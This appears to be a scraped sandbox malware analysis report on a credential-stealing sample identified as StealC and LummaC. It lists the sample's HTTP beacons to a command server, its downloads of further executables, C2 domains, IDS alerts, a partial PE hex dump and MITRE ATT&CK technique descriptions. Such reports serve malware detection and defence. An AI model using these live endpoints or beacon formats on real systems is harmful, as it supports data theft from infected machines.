Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 15:53:33 GMTContent-Type: application/octet-streamContent-Length: 2883584Last-Modified: Fri, 20 Dec 2024 15:46:44 GMTConnection: keep-aliveETag: "67659164-2c0000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 30 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 4f 00 00 04 00 00 dd 9b 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 6a 76 69 72 68 75 74 00 60 2a 00 00 c0 24 00 00 5e 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 65 73 77 7a 72 6f 71 00 10 00 00 00 20 4f 00 00 04 00 00 00 da 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4f 00 00 22 00 00 00 de 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEHDHDAKJEBGCBKKJEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 34 30 39 34 45 41 36 39 44 44 31 34 31 33 30 36 38 39 37 33 37 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="hwid"84094EA69DD14130689737------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="build"stok------HCAEHDHDAKJEBGCBKKJE--

Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Joe Sandbox ML: detected

Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49710 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49719 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49732 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49739 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report XNtOBQ5NHr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\I8TEVW54DAWA7LANTKTUH8I1LE.exe.log

C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe

C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Windows Analysis Report
XNtOBQ5NHr.exe

Function 0098750B Relevance: 1.6, APIs: 1, Instructions: 132
libraryCOMMON

Function 0098BACE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
fileCOMMON

Function 0099493C Relevance: 4.6, APIs: 3, Instructions: 57
registryCOMMON

Function 009876BA Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 166
libraryCOMMON

Function 0098BADE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
fileCOMMON

Function 0098B7AF Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Function 05080D41 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 05080D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 05081509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Function 05081510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 05081301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 0098B7A9 Relevance: 1.5, APIs: 1, Instructions: 47
fileCOMMON

Function 05081308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre